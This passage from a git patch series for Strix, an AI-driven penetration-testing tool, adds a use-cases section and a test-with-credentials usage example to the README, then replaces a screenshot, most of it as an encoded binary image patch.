you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. From 9e7c133bbfe10e6d1ff4a52c8e4872c810c5e5bd Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Sun, 28 Sep 2025 21:04:40 -0700 Subject: [PATCH 022/506] Update README.md --- README.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/README.md b/README.md index d725038fe..1dedfabf0 100644 --- a/README.md +++ b/README.md @@ -29,6 +29,15 @@ Strix are autonomous AI agents that act just like real hackers - they run your c --- +### 🎯 Use Cases + +- Detect and validate critical vulnerabilities in your applications. +- Get penetration tests done in hours, not weeks, with compliance reports. +- Automate bug bounty research and generate PoCs for faster reporting. +- Run tests in CI/CD to block vulnerabilities before reaching production. + +--- + ### 🚀 Quick Start Prerequisites: @@ -97,6 +106,9 @@ strix --target https://your-app.com # Focused testing strix --target api.your-app.com --instruction "Prioritize authentication and authorization testing" + +# Testing with credentials +strix --target https://your-app.com --instruction "Test with credentials: testuser/testpass. Focus on privilege escalation and access control bypasses." ``` ### ⚙️ Configuration From 522d2c8948b412f03421cf8f882c6235ffd5b389 Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Sun, 28 Sep 2025 21:56:51 -0700 Subject: [PATCH 023/506] Update README.md --- .github/screenshot.png | Bin 695447 -> 409341 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/.github/screenshot.png b/.github/screenshot.png index 1cb799dbb35c68afd12f822fc55fa4190f3bd420..9ba85bd2fbaaaa2376821ce28d91339cb7ff2dc3 100644 GIT binary patch literal 409341 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 